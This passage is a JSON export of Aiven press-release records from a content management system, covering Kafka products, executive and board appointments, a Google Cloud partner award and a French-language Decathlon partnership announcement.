Kafka."}],"markDefs":[{"_key":"381752d205a7","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"5720a1e84b6b","_type":"block","children":[{"_key":"716be2ac4baa0","_type":"span","marks":[],"text":"As the first to offer managed Apache Kafka in the cloud back in 2016, Aiven has become the one, true open source Apache Kafka offering in the market. With the recent acquisition of "},{"_key":"0bcbfcd0aa981","_type":"span","marks":["c7d84d8bcdfb"],"text":"Klaw"},{"_key":"0bcbfcd0aa982","_type":"span","marks":[],"text":", Aiven now provides a comprehensive portfolio of solutions and services around Apache Kafka to let customers transport, manage, process, operate and efficiently govern their organization’s streaming data in real-time. Customers utilizing the Aiven platform can now tap into new capabilities with Aiven’s streamlined, truly end-to-end open source event streaming architecture. Aiven recently announced Klaw in September 2022 after acquiring Kafkawize, a self-service open source data governance tool for Apache Kafka."}],"markDefs":[{"_key":"c7d84d8bcdfb","_type":"link","href":"https://aiven.io/blog/introducing-klaw-for-apache-kafka-governance"}],"style":"normal"},{"_key":"7c8f2f7dd507","_type":"block","children":[{"_key":"3a2bb6ee87130","_type":"span","marks":[],"text":"“As a leader in the open source community, Aiven is on a mission to manage software that makes developers' lives easier – and with our complete, open source streaming open source streaming ecosystem of technologies around Aiven for Apache Kafka, we’re able to do just that and more for our users,” said Oskari Saarenmaa, CEO and Co-Founder of Aiven. “I couldn’t be more excited to share this streaming ecosystem with the community and continue fueling innovative, data-intensive open source technologies.”"}],"markDefs":[],"style":"normal"},{"_key":"d95c89ccf55d","_type":"block","children":[{"_key":"88eb6d99e29f0","_type":"span","marks":[],"text":"Here is the complete open source streaming architecture included in Aiven’s open source streaming ecosystem for Apache Kafka: "}],"markDefs":[],"style":"normal"},{"_key":"e2de8d9aa00a","_type":"block","children":[{"_key":"5735f3e692300","_type":"span","marks":["strong"],"text":"Aiven for Apache Kafka:"},{"_key":"5735f3e692301","_type":"span","marks":[],"text":" the core event streaming framework, allowing real-time data transport for any organization. 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The combination of Kafka from Aiven, its APIs, and the Terraform provider from Aiven, has enabled us to automate almost everything: configuration, deployment, and maintenance.”, said Carlos Olmos, Senior Principal Software Engineer from Everactive, an IoT platform based on self-powered sensor devices and low-power wireless communication. “Aiven’s support and tooling around Kafka has empowered us to embrace Kafka at Everactive and harness the potential of our streaming data.”"}],"markDefs":[],"style":"normal"},{"_key":"3fec02f691b8","_type":"block","children":[{"_key":"6f9dba1178600","_type":"span","marks":[],"text":"Streamlining solutions into one, Aiven’s open source streaming ecosystem for Apache Kafka enables both customers and developers to focus on what really matters – how to drive data outcomes effortlessly."}],"markDefs":[],"style":"normal"},{"_key":"eadedfea0d76","_type":"block","children":[{"_key":"b019fa7fd0e80","_type":"span","marks":[],"text":"To learn more about Aiven’s open source streaming ecosystem for Apache Kafka, please visit "},{"_key":"b019fa7fd0e81","_type":"span","marks":["3b0e17d97ddb"],"text":"https://aiven.io/kafka"},{"_key":"b019fa7fd0e82","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"3b0e17d97ddb","_type":"link","href":"https://aiven.io/kafka"}],"style":"normal"},{"_key":"8ece916b6769","_type":"block","children":[{"_key":"fbcc8ac7074f0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"569b8cde8f58","_type":"block","children":[{"_key":"8dae2f5e3d960","_type":"span","marks":[],"text":"###"}],"markDefs":[],"style":"normal"},{"_key":"71b53324ca28","_type":"block","children":[{"_key":"8562b7b078110","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"37afcb718f4a","_type":"block","children":[{"_key":"896a0bff96ce0","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Amsterdam, Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto. Aiven provides managed open source data technologies, such as PostgreSQL®, Apache Kafka® and OpenSearch®, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source data technologies that trigger true transformations on a global scale. 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{"__i18n_lang":"en","_createdAt":"2023-07-14T02:16:52Z","_id":"e4e143d1-cccd-4bb6-b380-c290106ba554","_rev":"5EJi5QFjYLXeOWQUvLcqFi","_type":"pressRelease","_updatedAt":"2023-07-14T02:16:52Z","content":[{"_key":"504f918efc07","_type":"block","children":[{"_key":"362e658e19070","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — July 17, 2023 "},{"_key":"362e658e19071","_type":"span","marks":[],"text":"- "},{"_key":"362e658e19072","_type":"span","marks":["9014b1010bf0"],"text":"Aiven"},{"_key":"362e658e19073","_type":"span","marks":[],"text":", the open source cloud data platform company, announced the appointment of Stuart Simmons as Vice President of EMEA today. With his wealth of experience in building successful teams and driving growth in the technology industry, Stuart brings valuable expertise to further expand Aiven’s presence in the EMEA region. In his new role, Stuart will drive customer growth, own strategic growth initiatives, and focus on building strong partnerships in the EMEA region."}],"markDefs":[{"_key":"9014b1010bf0","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"aee1b36d0bfe","_type":"block","children":[{"_key":"c16926edbf580","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"7337c3055f54","_type":"block","children":[{"_key":"b5074cba573f0","_type":"span","marks":[],"text":"“We are excited to welcome Stuart Simmons to our team. Companies are looking for a trusted partner to build and scale their data infrastructure with, and I am confident that Stuart’s understanding of the specific needs of our customers in the region and commitment to delivering value will help them accomplish exceptional business outcomes,” said David Wyatt, Chief Revenue Officer, Aiven. “We look forward to his leadership and contributions to driving Aiven’s growth in this vital market.”"}],"markDefs":[],"style":"normal"},{"_key":"69355007b1f9","_type":"block","children":[{"_key":"361ca0c00f920","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"43cd34bf8878","_type":"block","children":[{"_key":"97838e99a7870","_type":"span","marks":[],"text":"“Aiven has already established itself as a leader in the cloud data platform space, and I look forward to being a part of the next stage of growth of such a forward-thinking company,” said Stuart Simmons, Vice President of EMEA, Aiven. “I have learnt that building a winning culture, combined with sales excellence underpins everything. I look forward to joining a world-class team to help business leaders and their organizations continue with their innovation efforts and empower them with the best open source data technology.”"}],"markDefs":[],"style":"normal"},{"_key":"91ae5f3972c3","_type":"block","children":[{"_key":"545604baea620","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"23300a78a2f7","_type":"block","children":[{"_key":"23cf2156c8070","_type":"span","marks":[],"text":"Stuart joins Aiven after a distinguished career in the technology industry. He has a successful track record of building companies' presence and driving growth and made significant contributions during his time at Snowflake and MongoDB. His most recent stint at Lacework saw him build the Northern Europe region from the ground up and work closely with the Executive team to standardize the sales go-to-market model on a global basis."}],"markDefs":[],"style":"normal"},{"_key":"546c9264686e","_type":"block","children":[{"_key":"bbaaa7cc4df90","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"56c744445de0","_type":"block","children":[{"_key":"418ad61522010","_type":"span","marks":[],"text":"To learn more about Aiven, please visit "},{"_key":"418ad61522011","_type":"span","marks":["5e392f0915eb"],"text":"https://aiven.io"}],"markDefs":[{"_key":"5e392f0915eb","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"305f51075516","_type":"block","children":[{"_key":"92c55a01bf2f0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"e64ff5049b5c","_type":"block","children":[{"_key":"1a31da31c3290","_type":"span","marks":[],"text":"###"}],"markDefs":[],"style":"normal"},{"_key":"5928ced8317c","_type":"block","children":[{"_key":"59e0c4824fdb0","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"4f99dc0b7322","_type":"block","children":[{"_key":"c0bc9e2b0a410","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"34c7330bd2d3","_type":"block","children":[{"_key":"654d472541ec0","_type":"span","marks":[],"text":"Headquartered in Helsinki and with hubs in Amsterdam, Berlin, Boston, Paris, Singapore, Sydney, Tokyo, and Toronto, Aiven provides managed open source data technologies, like PostgreSQL, Apache Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. Most recently, Aiven achieved a $3B valuation and has now raised $420M total funding backed by its investors Atomico, Earlybird, Eurazeo, IVP, Lifeline, Salesforce Ventures, and World Innovation Lab."}],"markDefs":[],"style":"normal"},{"_key":"abeb2c9c5a25","_type":"block","children":[{"_key":"3085a7a77e630","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"1051cfad5608","_type":"block","children":[{"_key":"edbabfd358e20","_type":"span","marks":[],"text":"To learn more about Aiven, visit "},{"_key":"edbabfd358e21","_type":"span","marks":["cde08f86ff29"],"text":"aiven.io"},{"_key":"edbabfd358e22","_type":"span","marks":[],"text":" and follow "},{"_key":"edbabfd358e23","_type":"span","marks":["a1a2e471cf36"],"text":"@aiven_io"},{"_key":"edbabfd358e24","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"cde08f86ff29","_type":"link","href":"https://aiven.io/"},{"_key":"a1a2e471cf36","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"33b01bf1beb0","_type":"block","children":[{"_key":"ae84ebedbac90","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"},{"_key":"31d17beb30d9","_type":"block","children":[{"_key":"b6d8ea2e45110","_type":"span","marks":["strong"],"text":"Media Contacts:"},{"_key":"b6d8ea2e45111","_type":"span","marks":["2abb69318e9a"],"text":"press@aiven.io"}],"markDefs":[{"_key":"2abb69318e9a","_type":"link","href":"mailto:press@aiven.io"}],"style":"normal"},{"_key":"b5a259e8342f","_type":"block","children":[{"_key":"9de96dd3a8c40","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"publishedAt":"2023-07-17T07:01:00.000Z","slug":{"_type":"slug","current":"/press/aiven-announces-new-emea-regional-vice-president"},"subtitle":"Former MongoDB and Snowflake leader joins Aiven to scale market impact across the EMEA region and empower business leaders to accelerate innovation with Aiven platform \n","title":"Aiven announces the appointment of new regional vice president for EMEA"}
{"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"4O1VToCDbtO9HYlvB0vHAr","_rev":"Gpxvh8f3DECNLdA0uhZkNP","_type":"pressRelease","_updatedAt":"2023-08-04T09:30:30Z","content":[{"_key":"k0naNpWH","_type":"block","children":[{"_key":"241359f5b849","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — June 24, 2020- "},{"_key":"3oUJybCH","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"lH5HdsGJ","_type":"span","marks":[],"text":", a leading technology company combining the best open source technologies with cloud infrastructure, announced today the release of Apache Kafka MirrorMaker 2 as a stand-alone service, enabling enterprises to access the Apache Kafka ecosystem more easily."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"jTX3SYLj","_type":"block","children":[{"_key":"q965XheW","_type":"span","marks":[],"text":"“Aiven is one of the largest managed Kafka providers, and we’re excited to expand our Kafka portfolio with the addition of managed MirrorMaker 2,” said Hannu Valtonen, Chief Product Officer at Aiven. “Our customers have come to know and rely on our Kafka offering, and we have ambitious goals to continue to innovate and develop new services that enable our customers to easily incorporate Kafka into their architecture.”"}],"markDefs":[],"style":"normal"},{"_key":"3rxeHhHr","_type":"block","children":[{"_key":"AIf3O8nL","_type":"span","marks":[],"text":"With Apache Kafka, Kafka Connect, and now MirrorMaker 2 as a service, Aiven customers can specialize their workloads, reducing dependency while increasing resilience. MirrorMaker 2 helps enterprises ensure data continuity by allowing them to easily replicate data among Kafka clusters. Aiven’s multi-cloud platform further enhances this by allowing the replication of data across cloud providers."}],"markDefs":[],"style":"normal"},{"_key":"9OHtQrSX","_type":"block","children":[{"_key":"3WW4PION","_type":"span","marks":[],"text":"MirrorMaker 2.0 itself comes with a number of improvements, including the ability to maintain offset mappings between clusters, critical for disaster recovery — one of the top use cases for MirrorMaker."}],"markDefs":[],"style":"normal"},{"_key":"rm3Q62vp","_type":"block","children":[{"_key":"MaDhW6dK","_type":"span","marks":[],"text":"Additional MirrorMaker 2.0 improvements include:"}],"markDefs":[],"style":"normal"},{"_key":"sWWzOOAm","_type":"block","children":[{"_key":"JcA80UxS","_type":"span","marks":[],"text":"Topic configuration is synchronized from source to target clusters, removing the need for external tools"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"N86L9Ign","_type":"block","children":[{"_key":"jTbutQ89","_type":"span","marks":[],"text":"Preserved partitions during the replication process"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"TIuOuyXV","_type":"block","children":[{"_key":"dJowZ1QT","_type":"span","marks":[],"text":"The ability to run multiple replication flows for a single MirrorMaker cluster and the prevention of infinite loops"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8xyv79iK","_type":"block","children":[{"_key":"jAR9FGCH","_type":"span","marks":[],"text":"Increased reliability, scalability and performance by leveraging the Kafka Connect framework"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7uM1FsDf","_type":"block","children":[{"_key":"bLkXr7jx","_type":"span","marks":[],"text":"Users can now easily set up replication flows between Kafka clusters through the Aiven Console, the command line client, the Terraform provider or the REST API."}],"markDefs":[],"style":"normal"},{"_key":"QZZtT0ws","_type":"block","children":[{"_key":"vviufqQP","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"rblH2dHE","_type":"block","children":[{"_key":"QFggRttL","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Berlin, Germany and Sydney, Australia and Boston, MA, Aiven is an ISO 27001 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"jIxY6sgo","_type":"block","children":[{"_key":"k3WcKPib","_type":"span","marks":[],"text":"You can visit "},{"_key":"qGG8p7PB","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"CPI2nOjZ","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"yb0LsfYC","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"OfHsajwq","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2020-06-24T00:00:00.000Z","seo":{"metaDescription":"Aiven’s latest service enables organizations to replicate data among Apache Kafka clusters more easily and ensure data continuity after failures or outages.","metaTitle":"Aiven releases Kafka MirrorMaker 2"},"slug":{"_type":"slug","current":"/press/aiven-releases-kafka-mirrormaker-2"},"subtitle":"Aiven’s latest service enables organizations to replicate data among Apache Kafka clusters more easily and ensure data continuity after failures or outages.","title":"Aiven releases Kafka MirrorMaker 2"}
{"__i18n_lang":"en","_createdAt":"2023-08-29T10:27:09Z","_id":"b3f9ffac-e772-4799-8722-28cf21449dae","_rev":"pv5QzE4Lm79BNhDrjkP5IP","_type":"pressRelease","_updatedAt":"2023-08-29T15:00:01Z","content":[{"_key":"2a2f939a8d22","_type":"block","children":[{"_key":"d766ff8c81b40","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — August 29, 2023"},{"_key":"d766ff8c81b41","_type":"span","marks":[],"text":" — "},{"_key":"d766ff8c81b42","_type":"span","marks":["3b645774ae8a"],"text":"Aiven"},{"_key":"d766ff8c81b43","_type":"span","marks":[],"text":", the trusted open source data platform for everyone, today announced it has received the Google Cloud Breakthrough Partner of the Year award for the Europe, Middle East, and Africa (EMEA) region."}],"markDefs":[{"_key":"3b645774ae8a","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"5a9a02a24958","_type":"block","children":[{"_key":"4dd96c9cf5fe0","_type":"span","marks":[],"text":"Aiven was recognized for the company’s achievements in the Google Cloud ecosystem, helping joint customers such as "},{"_key":"4dd96c9cf5fe1","_type":"span","marks":["2e18843c15fb"],"text":"ADEO"},{"_key":"4dd96c9cf5fe2","_type":"span","marks":[],"text":", "},{"_key":"4dd96c9cf5fe3","_type":"span","marks":["cbde8ad0ec58"],"text":"Conrad Electronic"},{"_key":"4dd96c9cf5fe4","_type":"span","marks":[],"text":", "},{"_key":"4dd96c9cf5fe5","_type":"span","marks":["9b51b408110c"],"text":"OVO Energy"},{"_key":"4dd96c9cf5fe6","_type":"span","marks":[],"text":", and "},{"_key":"4dd96c9cf5fe7","_type":"span","marks":["dd26a15b8742"],"text":"Supermetrics"},{"_key":"4dd96c9cf5fe8","_type":"span","marks":[],"text":" to unleash the power of cloud innovation. Together, we create a seamless, trusted platform that empowers businesses to scale their data infrastructure efficiently, optimize performance and cost, and unlock new possibilities for their businesses."}],"markDefs":[{"_key":"2e18843c15fb","_type":"link","href":"https://aiven.io/case-studies/aiven-cloud-helps-adeo"},{"_key":"cbde8ad0ec58","_type":"link","href":"https://aiven.io/case-studies/conrad-electronic-expands-e-commerce-platform-with-aiven"},{"_key":"9b51b408110c","_type":"link","href":"https://aiven.io/case-studies/aiven-for-apache-kafka-helps-ovo"},{"_key":"dd26a15b8742","_type":"link","href":"https://aiven.io/blog/multicloud-drifting-with-dups-and-supermetrics"}],"style":"normal"},{"_key":"94b0ba20b7cb","_type":"block","children":[{"_key":"9c3bbf9c4f160","_type":"span","marks":[],"text":"Securing this esteemed award underscores Aiven’s relentless commitment to excellence, technical expertise, and customer-centric approach, and serves as a validation of Aiven’s expertise in helping customers to simplify and exploit the power of open source technologies on Google Cloud. Aiven’s cloud data platform has transformed the way organizations manage and scale their data infrastructure. By combining open source technologies and powerful automation, Aiven empowers businesses to focus on what is important for their customers while benefiting from a highly reliable, scalable, and secure cloud infrastructure."}],"markDefs":[],"style":"normal"},{"_key":"203c1c4846de","_type":"block","children":[{"_key":"03f10a3eb1ab0","_type":"span","marks":[],"text":"\"We are excited to be named the Google Cloud Partner in the Breakthrough Award category for the EMEA region,\" said Oskari Saarenmaa, Chief Executive Officer and Co-founder, Aiven. \"This award recognizes the hard work and dedication of our team, as well as our relentless pursuit of delivering exceptional value to our customers. With Aiven’s expertise in deploying, operating, and scaling open source data technologies and Google Cloud’s robust infrastructure and cutting-edge services, businesses gain a winning blend of innovation and reliability. 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{"__i18n_lang":"en","_createdAt":"2023-10-02T06:22:21Z","_id":"55ff81e6-e72c-4e60-933e-7ca9191b2ec7","_rev":"rpwBSMa1i11HwZnbWujNhz","_type":"pressRelease","_updatedAt":"2023-10-02T08:19:29Z","content":[{"_key":"03859c351e8b","_type":"block","children":[{"_key":"3152cecf0fc50","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — October 2, 2023"},{"_key":"3152cecf0fc51","_type":"span","marks":[],"text":" "},{"_key":"3152cecf0fc52","_type":"span","marks":["5464229578f1"],"text":"Aiven"},{"_key":"3152cecf0fc53","_type":"span","marks":[],"text":", the open source cloud data platform company, has appointed Kenneth Chen as Chief Financial Officer (CFO). Kenneth, a former leader at Spotify, joins Aiven's Executive team, reporting directly to Aiven's CEO, Oskari Saarenmaa. Kenneth brings over two decades of finance experience and he will play a pivotal part in identifying and capturing growth opportunities that enable Aiven to operate at scale."}],"markDefs":[{"_key":"5464229578f1","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"d5de73064051","_type":"block","children":[{"_key":"c928953769ae","_type":"span","marks":[],"text":"Kenneth joins Aiven from Spotify where he led the Finance Strategy, Operations \u0026 Risk team as Vice President. In the past eight years he held various finance leadership roles at Spotify and was on the core team that took the company public and transitioned it from pre-public to post-public life, marking a significant milestone in the company’s journey. Prior to that, he spent 12 years at PricewaterhouseCoopers where he led finance, IT, and governance engagements. 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I’m very excited to join the team and help Aiven on this next phase of growth”, says Kenneth, Aiven’s new CFO."}],"markDefs":[{"_key":"d595c43e1644","_type":"link","href":"https://aiven.io/press/aiven-strengthens-leadership-team-with-a-chief-revenue-officer"},{"_key":"2413ba1d5e76","_type":"link","href":"https://aiven.io/press/aiven-bolsters-c-suite-bench-with-appointment-of-cmo"}],"style":"normal"},{"_key":"4487e00b9cc7","_type":"block","children":[{"_key":"c60f6d90b9c3","_type":"span","marks":[],"text":"The announcement follows Aiven’s recent appointments of "},{"_key":"f38eea8538b61","_type":"span","marks":["d595c43e1644"],"text":"David Wyatt"},{"_key":"f38eea8538b62","_type":"span","marks":[],"text":" as Chief Revenue Officer in March and "},{"_key":"f38eea8538b63","_type":"span","marks":["2413ba1d5e76"],"text":"Ian Massingham"},{"_key":"f38eea8538b64","_type":"span","marks":[],"text":" as Chief Marketing Officer in June. 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This new built-in Aiven functionality empowers companies to innovate with confidence and efficiency like never before.\""},{"_key":"da5f4d613b5d","_type":"span","marks":[],"text":" Oded Valin, Co-founder and CEO of EverSQL, Director at Aiven"}],"markDefs":[],"style":"normal"},{"_key":"06ab261fe409","_type":"block","children":[{"_key":"6769cd458bc80","_type":"span","marks":[],"text":"A fleet of Aiven for PostgreSQL® databases is powering La Redoute’s marketplace functionality, driving 30% of their business. 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{"__i18n_lang":"en","_createdAt":"2024-05-21T10:05:41Z","_id":"8b764716-0c7b-4333-95a3-712b0f01e0a1","_rev":"YaKEzcVhnb7P0fmfvBefMs","_type":"pressRelease","_updatedAt":"2024-08-01T12:18:49Z","content":[{"_key":"17637b593027","_type":"block","children":[{"_key":"1dd1142143a00","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — May 23, 2024 "},{"_key":"7888f08951c4","_type":"span","marks":["ca6a5f0b011e"],"text":"Aiven"},{"_key":"ba0624df880b","_type":"span","marks":[],"text":", the trusted data and AI platform company, today announced the appointment of Shiv Ramji to its board of directors."}],"markDefs":[{"_key":"ca6a5f0b011e","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"f7d7218c2da4","_type":"block","children":[{"_key":"db695d54ca05","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"b8009692e333","_type":"block","children":[{"_key":"2db43575ebe70","_type":"span","marks":[],"text":"Ramji, who is currently President, Customer Identity Cloud at "},{"_key":"99c20b8269f3","_type":"span","marks":["e16fb747af8e"],"text":"Okta"},{"_key":"c1d24447d305","_type":"span","marks":[],"text":", will bring extensive executive experience of accelerating business growth through product leadership across both media and cloud infrastructure to Aiven’s board of directors. Having served in senior product leadership roles at global organizations including DigitalOcean, Amazon, NBCUniversal, and The Nielsen Company, he is also widely recognised for his operational acumen in developing and scaling the adoption of market leading products and his track record of driving innovation at the intersection of B2C, B2B, and B2D"}],"markDefs":[{"_key":"e16fb747af8e","_type":"link","href":"https://www.okta.com/"}],"style":"normal"},{"_key":"87418ff5f48e","_type":"block","children":[{"_key":"8344b2e0e08d","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"5ae04684bc22","_type":"block","children":[{"_key":"c03a4029fc870","_type":"span","marks":[],"text":"“With his deep heritage in business and product leadership and his passion for market leading product development, Shiv will make an excellent addition to Aiven’s board of directors,” said Oskari Saarenmaa, Aiven’s Chief Executive Officer. “We look forward to Shiv bringing this expertise to drive the future direction of Aiven’s business and shape the approach to our continued innovation.”"}],"markDefs":[],"style":"normal"},{"_key":"d4d2fd142276","_type":"block","children":[{"_key":"9b357322b1d10","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"afb6b735ae53","_type":"block","children":[{"_key":"525967b432e20","_type":"span","marks":[],"text":"“I am delighted to be asked to join Aiven’s board of directors and to contribute to its future growth in ensuring that organizations gain more value from their data. I see a great opportunity to provide my laser focus on delivering product excellence to developers and senior business leaders alike, while advising on how this can accelerate Aiven’s continued momentum in the market,” commented Shiv Ramji."}],"markDefs":[],"style":"normal"},{"_key":"a809db93b3f9","_type":"block","children":[{"_key":"99b2153494ee0","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"f22f2ec64064","_type":"block","children":[{"_key":"4e954789015a0","_type":"span","marks":[],"text":"Aiven is a trusted data and AI platform company, helping organizations gain more value from their data. Aiven’s cloud platform combines open choice services to stream, store, and serve data, simply, securely, and rapidly across major cloud providers to power innovation. Aiven is trusted by thousands of customers to create next-generation applications confidently and quickly. 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{"__i18n_base":{"_ref":"SmFSPQEeG0lT9LV1ImFb1","_type":"reference"},"__i18n_lang":"fr","_createdAt":"2022-06-17T22:42:59Z","_id":"SmFSPQEeG0lT9LV1ImFb1__i18n_fr","_rev":"lbpMA3MBWy0eIji4xk6vCg","_type":"pressRelease","_updatedAt":"2024-12-10T15:16:48Z","content":[{"_key":"eee950c90596","_type":"block","children":[{"_key":"9d0aeb8b825e0","_type":"span","marks":["em"],"text":"Le Groupe Decathlon choisit Aiven pour transformer ses technologies de gestion des données open source en une plateforme hautement résiliente configurée pour le DevOps."}],"markDefs":[],"style":"normal"},{"_key":"INgM4GkH","_type":"block","children":[{"_key":"9ad58c887c06","_type":"span","marks":["strong"],"text":"HELSINKI, Finlande — 24 février 202"},{"_key":"79938d5308b9","_type":"span","marks":[],"text":"2 – "},{"_key":"UkItOYdI","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"sdhlphdH","_type":"span","marks":[],"text":", une entreprise leader qui combine les meilleures technologies open source de streaming et de gestion des données avec l'infrastructure cloud, s'associe à Decathlon, un acteur majeur de la distribution d'articles de sport, avec un ADN fermement axé sur l'innovation technologique et le service. Aiven fournira à Decathlon un support mondial en matière de Database-as-a-Service (DBaaS) pour sa transition vers les microservices."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"FHRyHmM2","_type":"block","children":[{"_key":"BrlOW1hW","_type":"span","marks":["em"],"text":"« Se démarquer dans un secteur de la vente au détail de plus en plus compétitif nécessite de développer un environnement informatique basé sur des technologies cloud natives de pointe et des processus hautement automatisés. Chez Decathlon, l'innovation en matière de service et de technologie est au cœur de nos activités quotidiennes. C'est pourquoi nous formons des alliances avec des partenaires multicloud solides comme Aiven, qui fournit le DBaaS en tant que pierre angulaire technologique et opérationnelle de notre stratégie mondiale Cloud Platform Engineering »"},{"_key":"a94d9234b152","_type":"span","marks":[],"text":", a déclaré Jérôme Dubreuil, Chief Digital Officer de Decathlon."}],"markDefs":[],"style":"normal"},{"_key":"a1ce8b70553e","_type":"block","children":[{"_key":"bc4135b0102c","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"e234a2ac13ce","_type":"block","children":[{"_key":"30b4b3f796810","_type":"span","marks":[],"text":"Decathlon bénéficiera de l'expertise d'Aiven en matière de gestion de services et de cloud pour transformer des technologies de données open source telles que Kafka, PostgreSQL, MySQL, OpenSearch, InfluxDB et Redis en solutions de données faciles à consommer, hautement disponibles et évolutives."}],"markDefs":[],"style":"normal"},{"_key":"9f194fb3a9e1","_type":"block","children":[{"_key":"be51ad4f67e90","_type":"span","marks":["em"],"text":"« La solution d’Aiven nous offre une pile unique pour déployer nos solutions de bases de données sur tous les fournisseurs cloud. Ce type de collaboration nous permet de nous appuyer sur l’expertise d’Aiven pour certaines de nos applications (notamment pour les bases de données). Nous pouvons ensuite nous concentrer sur les éléments des solutions qui différencient davantage l’expérience utilisateur de nos clients. Ce travail est réalisé par nos équipes pluridisciplinaires chez Decathlon — architecture, sécurité, performance, intégration — ainsi que par nos développeurs »"},{"_key":"8af9377637c4","_type":"span","marks":[],"text":", a expliqué Pierre Hilbert, Database Product Owner chez Decathlon."}],"markDefs":[],"style":"normal"},{"_key":"c8c654771026","_type":"block","children":[{"_key":"383423cd9b740","_type":"span","marks":[],"text":"Avec la croissance rapide du DBaaS, Aiven et Decathlon continueront de collaborer et de planifier la transformation des services de gestion des données."}],"markDefs":[],"style":"normal"},{"_key":"8ba037064ae5","_type":"block","children":[{"_key":"7a7bf26812800","_type":"span","marks":["em"],"text":"« Nous sommes ravis d’accompagner Decathlon dans une transformation aussi importante et sommes pleinement conscients du niveau de qualité requis pour gérer les applications de Decathlon »"},{"_key":"47736ff8b71b","_type":"span","marks":[],"text":", a déclaré Oskari Saarenmaa, CEO et co-fondateur d’Aiven."}],"markDefs":[],"style":"normal"},{"_key":"fe6bcdc95496","_type":"block","children":[{"_key":"bb35680b5d5e0","_type":"span","marks":["em"],"text":"« Alors que le marché des bases de données open source a rattrapé celui des services professionnels pour la première fois en 2021, Aiven est plus que jamais engagé à fournir des services de données fiables et innovants, conçus pour simplifier la vie des développeurs et soutenir les activités de nos clients. »"}],"markDefs":[],"style":"normal"},{"_key":"63cabfb59278","_type":"block","children":[{"_key":"42a45cc547f4","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"0f646ca2faee","_type":"block","children":[{"_key":"003bdcb0a8f10","_type":"span","marks":["strong"],"text":"À propos de Decathlon :"},{"_key":"6d774ab78a6f","_type":"span","marks":[],"text":"\nAu cours de la dernière décennie, à travers sa branche Decathlon Technology, Decathlon a accéléré sa transformation numérique pour faire face aux nouveaux défis technologiques et aux évolutions des modes de consommation. Avec plus de 3 000 ingénieurs dans plus de 50 pays, Decathlon Technology exploite les technologies les plus innovantes et développe des outils, des systèmes et des expériences permettant aux personnes du monde entier d’accéder aux joies et aux bienfaits du sport. Leader sur le marché des articles de sport, Decathlon opère sur deux axes : la création de produits et services sportifs innovants, et leur distribution en ligne et en magasin. Avec 330 points de vente en France et plus de 1 700 à travers le monde, Decathlon et ses 97 000 collaborateurs œuvrent depuis 1976 pour un objectif constant : innover dans tous les domaines afin de rester le principal partenaire de tous les 